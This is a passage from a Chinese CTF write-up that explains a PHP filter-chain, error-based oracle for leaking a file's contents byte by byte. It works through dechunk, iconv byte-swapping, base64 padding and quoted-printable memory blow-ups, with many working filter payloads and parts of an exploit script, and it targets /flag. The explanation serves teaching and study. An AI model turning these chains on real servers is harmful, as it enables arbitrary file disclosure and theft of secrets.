</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/dechunk/resource=data:,ga&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="s2">&#34;ga&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/dechunk/resource=data:,ag&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span></code></pre></div>
<p>可以看到，在使用 dechunk filter 的时候，如果我们要编码的字符第一个字节不在十六进制编码范围内，PHP 会原样输出，而在此范围内的则会输出为空。</p>
<p>那么配合这个 dechunk 我们可以干什么呢？既然 dechunk 有判断的机制在里面，所以我们貌似可以利用这个机制来作为我们的 Oracle ，那么我们是不是可以配合之前的 convert.iconv.L1.UCS-4LE 编码，倘若我们要 Leak 的字符串内容开头范围在 a-fA-F0-9 范围内，因为 dechunk 编码清空了字符串，就不会产生原来由于长度过长导致的报错；如果不在就会原样输出继续产生长度过长导致的内存错误。</p>
<p><figure><a href="https://s1.ax1x.com/2022/09/27/xZj5NQ.png"><img src="https://s1.ax1x.com/2022/09/27/xZj5NQ.png" loading="lazy" alt="image.png" /></a><figcaption>image.png</figcaption></figure></p>
<p>如上图，我们首先可以测试出服务器上 PHP 对于内存报错的临界值。红圈部分相对于蓝圈部分多了一次 convert.iconv.L1.UCS-4LE 编码，绿圈部分相对于红圈部分多了一次 dechunk ，可以看到绿圈部分由于 dechunk 的存在就不会导致 PHP 产生内存错误了。</p>
<p>测试部分如下（注意，不同配置的机器可能对于引起 PHP 报错的长度不同，需要适当调节使用的 convert.iconv.L1.UCS-4LE 编码的次数）：</p>
<p>不出错：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=/flag&#34;</span><span class="p">));</span>
</span></span></code></pre></div>
<p>出错：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=/flag&#34;</span><span class="p">));</span>
</span></span></code></pre></div>
<p>在报错基础上使用了 dechunk 之后不会出错：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/dechunk|convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=/flag&#34;</span><span class="p">));</span>
</span></span></code></pre></div>
<p>所以根据以上现象，我们基本得到了一个可以用于判断字符串的第一个字符是否在 a-fA-F0-9 这个范围内的 Oracle 了。那么这里还仅仅只是第一步，因为目前我们只能判断第一个字节，那么接下来我们的思路就是处理剩余的字节，以及怎么准确判断这个字节是什么。</p>
<h3 id="part-2---flip-the-bytes">Part 2 - Flip the bytes</h3>
<p>这部分其实在作者的 solution 注释中已经解释的非常的详细了，不过这里仍然有些地方需要我们注意。</p>
<p>PS: 因为主要我们思路明确了，其实对于找 payload ，如何找并没有太多的技巧，包括我问了出题人，这些 payload 也都是通过 iconv 排列组合挨个查找自己所需要的 payload 所得到的，所以这里不会做解释后文每一个 iconv 是怎么来的…都是根据自己需求找出来的，无论是 fuzz 或者排列组合都好，找出来了，满足自己需求了就行</p>
<p>所以有没有一种编码形式，可以让我们交换字符串中字符的位置呢？（当然有啦，不然这个题就做不下去了。下面我们以翻转 8 字节 abcdefgh 为例。</p>
<p>首先，使用 convert.iconv.CSUNICODE.UCS-2BE 我们可以前后交换每两个字节的位置，我们称这个编码规则为 r2 ：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.UCS-2BE/resource=data:,abcdefgh&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="s2">&#34;badcfehg&#34;</span>
</span></span></code></pre></div>
<p>使用 convert.iconv.UCS-4LE.10646-1:1993 我们可以将每四个字节的位置逆序，我们称这个编码规则为 r4 ：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefgh&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;dcbahgfe&#34;</span>
</span></span></code></pre></div>
<p>所以目前我们可以比较直接的获取到原字符串中第 2 个字节和第 4 个字节，那么至于第 3 个字节以及其他字节咋办？</p>
<p>对于第 3 个字节，根据 r2 的结果，其实我们只需要再通过一次 r4 即可把 c 放到前面了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.UCS-2BE/resource=data:,abcdefgh&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="s2">&#34;badcfehg&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.UCS-2BE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefgh&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;cdabghef&#34;</span>
</span></span></code></pre></div>
<p>但是对于后半部分 fehg ，似乎永远在最后，我们好像没有办法通过 r2/r4 的组合使其放到前半部分，这时我们只能再利用一些其他技巧了。这里需要一些 base64 filter 的前置知识，可以回顾一下：<a class="link" href="https://tttang.com/archive/1395/#toc_php-base64-filter" target="_blank" rel="noopener">https://tttang.com/archive/1395/#toc_php-base64-filter</a> （没想到这里串起来了！</p>
<p>利用 PHP 在处理 Base64 字符串的时会完全忽略非法字符的特性，我们首先添加几个非法字符在字符串的最前端，比如使用 convert.iconv.CSUNICODE.CSUNICODE 编码可以在字符串最前端加上 0xff0xfe ，使用一些交换技巧并利用 base64decode 再次把非法冗余位剔除，就可以完成后续字符换到前端来的操作了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 产生填充字符
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE/resource=data:,abcdef&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;��abcdef&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用 r4 进行移位
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdef&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;ba��fedc&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用 base64 去掉冗余位
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode/resource=data:,abcdef&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;bafedQ==&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 再次使用 r4 交换位置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdef&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;efab==Qd&#34;</span>
</span></span></code></pre></div>
<p>通过如上的形式变换，我们就可以把原来后半部分的字符移位到前半部分来了。</p>
<p>细心的同学可能会注意到，我这里并没有使用 abcdefgh 8 字节为例，这是因为 r4 编码对于字节有要求，一定需要 4 字节为一组，而我们再产生 2 字节冗余之后会引起 r4 报错，使得 r4 编码失效，所以这里为了方便举例就没有使用 8 字节。</p>
<p>但是，这是不是一个问题？是的！所以我们需要一些技巧来弥补这个问题。</p>
<h3 id="part-21---base64-and-its-two-equal-signs">Part 2.1 - Base64 and its two equal signs</h3>
<p>我们回顾一下上述过程，我们应用 r4 变换在两个地方，一个是产生填充字符之后，我们用 (1) 来做标记，另外一个是使用 base64 消除冗余字符之后，我们用 (2) 做标记。</p>
<p>对于 (1) ，其实还是相对比较好解决，对于要移位的字符串，我们尽可能让其长度满足 4*n - 2 即可，这里我们或许可以通过填充字符来实现，但是比较要命的是，我们不知道我们需要 Leak 字符串的原本长度是多少。</p>
<p>好在 Base64 编码的结果长度都是 4*n 字节，但是我们仍然需要另外两个字节，这里我们就不得不感谢 Base64 的填充位了。</p>
<p>在 Base64 编码中，分组编码完成后，不足分组编码的最后会使用 = 进行填充，我们是不是可以利用这两个等号进行一定的变换操作，使得在其他字节不变动的情况下满足我们 4*n-2 的长度条件？</p>
<p>于是作者找到了这个 filter :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7/resource=data:,==&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">24</span><span class="p">)</span> <span class="s2">&#34;+---AD0-3D3D+---AD0-3D3D&#34;</span>
</span></span></code></pre></div>
<p>这个 filter 会固定将两个等号转换成另外一个长度为 24 字节的字符串，所以原本的字符串长度就变为 4*n-2+24 = 4*(n+6) - 2 也是符合了我们上述的长度要求！</p>
<p>我们以 abcdefghij== 为例：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 将等号进行转换
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7/resource=data:,abcdefghij==&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">34</span><span class="p">)</span> <span class="s2">&#34;abcdefghij+---AD0-3D3D+---AD0-3D3D&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 在前端添加冗余字符串
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE/resource=data:,abcdefghij==&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">36</span><span class="p">)</span> <span class="s2">&#34;��abcdefghij+---AD0-3D3D+---AD0-3D3D&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用 r4
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefghij==&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">36</span><span class="p">)</span> <span class="s2">&#34;ba��fedcjihg---+-0DAD3D3---+-0DAD3D3&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 去除冗余
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode/resource=data:,abcdefghij==&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">28</span><span class="p">)</span> <span class="s2">&#34;bafedcjihg+0DAD3D3+0DAD3Dw==&#34;</span>
</span></span></code></pre></div>
<p>在这里，为了方便后续描述，我们先与作者脚本里面的一样，定义上述流程为一个 flip 操作，也就是说一个 flip 流程包括等号转换、添加冗余、r4 转换、去除冗余这几个步骤。</p>
<p>根据一个 flip 操作，在解决 (1) 之后，我们在 (2) 之前得到的字符串为 <code>bafedcjihg+0DAD3D3+0DAD3Dw==</code> ，其长度为 28 ！也正好满足 r4 的长度要求，所以再使用一次 r4 变换即可把 fe 字符都换到最前面来了</p>
<h3 id="part-22---access-all-positions">Part 2.2 - Access All Positions</h3>
<p>到目前为止，我们基本上解决了 8 字节中的 1-6 位置的获取，至于其他位置呢？</p>
<p>例如 7-8 位置，我们可以通过首先进行一次 r4 操作，使得 hg 移动到原来 ef 的位置，再重复上述流程即可，这里就不再赘述，感兴趣的同学可以自行尝试。</p>
<p>那么超过 8 字节的位置呢？（其实我觉得这里熟悉算法的同学可能就会了，但是我当时确实还不会，所以也给像我一样比较菜的同学解释一下）</p>
<p>我们观察如上的操作，从我们引入了冗余字节，到最后又剔除掉冗余字节，实际上我们每次在进行这个操作后，后续的字节都会向前移动，所以实际上我们进行上述的 flip 次数越多，我们就拿到距离开头越远的字符。</p>
<p>举个例子，我们可以通过如下步骤获取到第 9 位（下表序号为 8 ）的字符：</p>
<pre tabindex="0"><code>abcd efgh ijkl mnop -&gt;flip-&gt; 
bafe dcji hg+0 DAD3 -&gt;r4-&gt;
efab ijcd 0+gh -&gt;flip-&gt;
feji ba+0 dcD3 -&gt;r4-&gt;
ijef 0+ab 3Dcd
</code></pre>
<p>我们可以观察得到规律，以 ij 两个字符为例，每次使用一次 flip/r4 操作都会使得这两字符前进 4 个字节位置，对于原本在第 9/10 位的 ij 来说，第一次 flip/r4 后到了 5/6 位，第二次则到了 1/2 位。</p>
<p>所以我们可以根据这个规律，对于下标为 n 的字符，只需要进行 n//4 次 flip/r4 组合就能将其位移到字符串的前端，最后前后可以使用 r4/r2 进行微调就行，微调细节可以看我们之前第一个例子为例。</p>
<p>所以最后这个简单的算法实现可以参考作者的脚本：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_nth</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="k">global</span> <span class="n">flip</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">r4</span>
</span></span><span class="line"><span class="cl">	<span class="n">o</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">	<span class="n">chunk</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="n">chunk</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span> <span class="n">o</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">r4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="n">o</span><span class="o">.</span><span class="n">extend</span><span class="p">([</span><span class="n">flip</span><span class="p">,</span> <span class="n">r4</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="n">chunk</span> <span class="o">//</span> <span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">chunk</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span> <span class="n">o</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">r2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">join</span><span class="p">(</span><span class="o">*</span><span class="n">o</span><span class="p">)</span>
</span></span></code></pre></div>
<h3 id="part-23---the-oracle-of-base64">Part 2.3 - The Oracle of Base64</h3>
<p>然而以上一切的理论都基于一个条件，那就是一个拥有两个等号的 Base64 字符串，如果我们将文件内容进行 Base64 编码后得到的 Base64 并没有两个等号的话，以上都不再成立了。</p>
<p>所以我们的目标又回到了如何不依赖文件内容、同时也不能过度修改文件内容的情况下产生一个满足要求的 Base64 字符串。</p>
<p>听起来可能有点绕，为什么说我们不依赖文件内容呢？因为这里我们并不知道文件内容经过编码后是否得到符合要求的 Base64 ；为什么说我们不能过度修改文件内容呢？因为倘若我们通过尝试增加了一些冗余填充位来使得经过 Base64 编码后的字符串满足要求的话，最后解码结果会因为引进过多的其他要素，而导致影响了解码结果，我们的最终目的还是需要通过这个 Base64 来解码获取原文件内容。</p>
<p>又或者说，我们有没有什么办法检测原文件内容经过 Base64 编码后是否拥有两个 = ？看起来我们又回到了等号的编码问题上。</p>
<p>目前我们拥有能够判断服务器某些条件的 Oracle 也只有 dechunk ，我们是不是可以利用这个 Oracle 来服务其他的判断条件呢？比如此处的等号，因为对于此时要求的 Base64 编码，其他都是数字字母，只有最后比较特殊的等号需要我们判断，那么有没有一种编码格式可以对数字字母都无效，但是可以把等号变成其他更长字节长度的字符，使得长度过长从而导致服务器产生内存错误呢？</p>
<p>于是我们大概的想法是，如果该 Base64 编码存在等号，经过某个编码使得等号长度不断扩大最终导致服务器内存错误；如果不存在等号，经过某个编码就不会导致服务器内存错误。</p>
<p>最后作者找到了这么一个编码：convert.quoted-printable-encode 。它会将一个 = 编码成 =3D ，从原来的 1 个字节变成了 3 个字节，而且对其他数字字母并不会生效，完美符合我们的要求。</p>
<p>所以我们现在的做法就是：</p>
<ol><li>获取 Part 1 中 n 组 convert.iconv.L1.UCS-4LE 组合会致使服务器产生内存错误的临界值 n</li><li>使用 convert.base64-encode|convert.base64-encode 两次 Base64 编码对文件内容进行编码</li><li>使用大量的 convert.quoted-printable-encode 编码对上一步 Base64 结果中的等号进行数次编码</li><li>最后拼接上 n-1 组 convert.iconv.L1.UCS-4LE 组合</li></ol>
<p>按照如上步骤，如果我们通过文件内容得到的 Base64 编码中含有两个等号，则会因为后续通过大量的 convert.quoted-printable-encode 编码扩展，拼接上原本不会让服务器产生内存错误的 n-1 组 convert.iconv.L1.UCS-4LE ，致使服务器产生了内存错误；如果没有等号，即使经过 大量的 convert.quoted-printable-encode 编码扩展也不会扩展字节，拼接上 n-1 组 convert.iconv.L1.UCS-4LE 也不会产生内存错误。</p>
<p>所以此时，我们就有了判断文件内容经过两次 Bae64 之后是否有等号的 Oracle 了，但是这仅仅只是判断有等号，这种情况还包括了 1 或者 2 个等号，况且，我们最终的目的还是需要获得拥有两个 = 的 Base64 编码，仅仅只是能判断有没有等号还是不行。</p>
<h3 id="part-24---how-to-get-the-specific-base64">Part 2.4 - How to get the specific base64</h3>
<p>我们稍微再仔细回顾一下 Base64 的<a class="link" href="https://en.wikipedia.org/wiki/Base64#Examples" target="_blank" rel="noopener">编码规则</a>，等号是由于 Base64 编码填充形成的，对于等号填充形式，基本上我们有三种状态：1 个等号、2 个等号、没有等号。而其实这几种状态又是可以相互转移的，我们分别考虑：</p>
<ol><li>在没有等号的情况下，字符串长度 n ，总 bit 长度为 8*n 恰好为 Base64 分组 6 的倍数，此时如果我们再添加 2+3*k (k&gt;=0) 个字节即可获得 1 个等号的填充；或者再添加 1+3*k (k&gt;=0) 个字节即可获得 2 个等号的填充</li><li>在有 1 个等号的情况下，字符串长度 n ，总 bit 长度为 8*n = 6*(n+2) - 8 = 6*n +4 ，此时如果我们再添加 2+3*k (k&gt;=0) 个字节即可获得 2 个等号的填充；或者再添加 1+3*k (k&gt;=0) 个字节得到没有等号填充的状态</li><li>在有 2 个等号的情况下，我们不需要额外填充</li></ol>
<p>我们仔细想想，因为我们从上述的 Oracle 无法判断原来的内容编码后有多少个等号，但是我们可以通过判断出没有等号的情况，那么我们是不是可以通过没有等号的情况，将其转移成固定有两个等号的情况呢？所以我们接下来我们需要找到一个可以产生 1+3*k 或者 2+3*k 字节的编码形式。</p>
<p>我觉得这里选择就比较多了，作者这里选择的是可以在头部添加固定字符 <code>\x1b$)C</code> 的编码 convert.iconv..CSISO2022KR ，我们只需要使用这个编码即可改变最终 Base64 的结果，并且这个编码产生的是固定字符，最终解码的时候我们也可以比较方便地识别并去掉这个 4 个字节的字符。</p>
<p>状态转移的问题算是解决了，可是我们得到的 Base64 编码字符串不一定都是无等号的吧？万一正好有 2 个等号呢？</p>
<p>这时就又回到我们状态转移的问题上来了，虽然我们无法判断有几个等号，但是我们可以判断没有等号的情况，而我们知道通过之前的 Oracle ，只有没有等号的情况是无法产生报错的，而这几种状态是可以相互转移的。</p>
<p>所以！我们只要覆盖这三种状态，判断出哪一种是没有等号的状态，再对其进行状态转移即可：</p>
<ol><li>首先通过对原内容进行编码的为状态 1 ：convert.base64-encode|convert.base64-encode</li><li>通过增加了 1 次 4 字节冗余编码的为状态 2 ：convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode</li><li>通过增加了 2 次 4 字节冗余编码的为状态 3 ：convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode</li></ol>
<p>因为根据上文对 Base64 编码规则的推断，每增加一次 4 字节冗余就能使得编码状态发生相应的转移，所以无论最初的状态 1 是什么，以上三种都能覆盖等号的三种状态。</p>
<p>然后我们再用之前提到的 Oracle 判断其中没有等号的状态，再将其转移到有 2 个等号的状态，就必定能产生满足我们有 2 个等号的 Base64 编码了！</p>
<p>这里对应的作者原脚本中：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;detecting equals&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">j</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">	<span class="n">req</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;convert.base64-encode|convert.base64-encode|</span><span class="si">{</span><span class="n">blow_up_enc</span><span class="si">}</span><span class="s1">|</span><span class="si">{</span><span class="n">trailer</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">	<span class="n">req</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode</span><span class="si">{</span><span class="n">blow_up_enc</span><span class="si">}</span><span class="s1">|</span><span class="si">{</span><span class="n">trailer</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">	<span class="n">req</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|</span><span class="si">{</span><span class="n">blow_up_enc</span><span class="si">}</span><span class="s1">|</span><span class="si">{</span><span class="n">trailer</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">sum</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">	<span class="n">err</span><span class="p">(</span><span class="s1">&#39;something wrong&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">j</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="kc">False</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">	<span class="n">header</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">j</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="kc">False</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">	<span class="n">header</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">j</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="kc">False</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">	<span class="n">header</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;convert.base64-encode|convert.base64-encode&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">	<span class="n">err</span><span class="p">(</span><span class="s1">&#39;something wrong&#39;</span><span class="p">)</span>
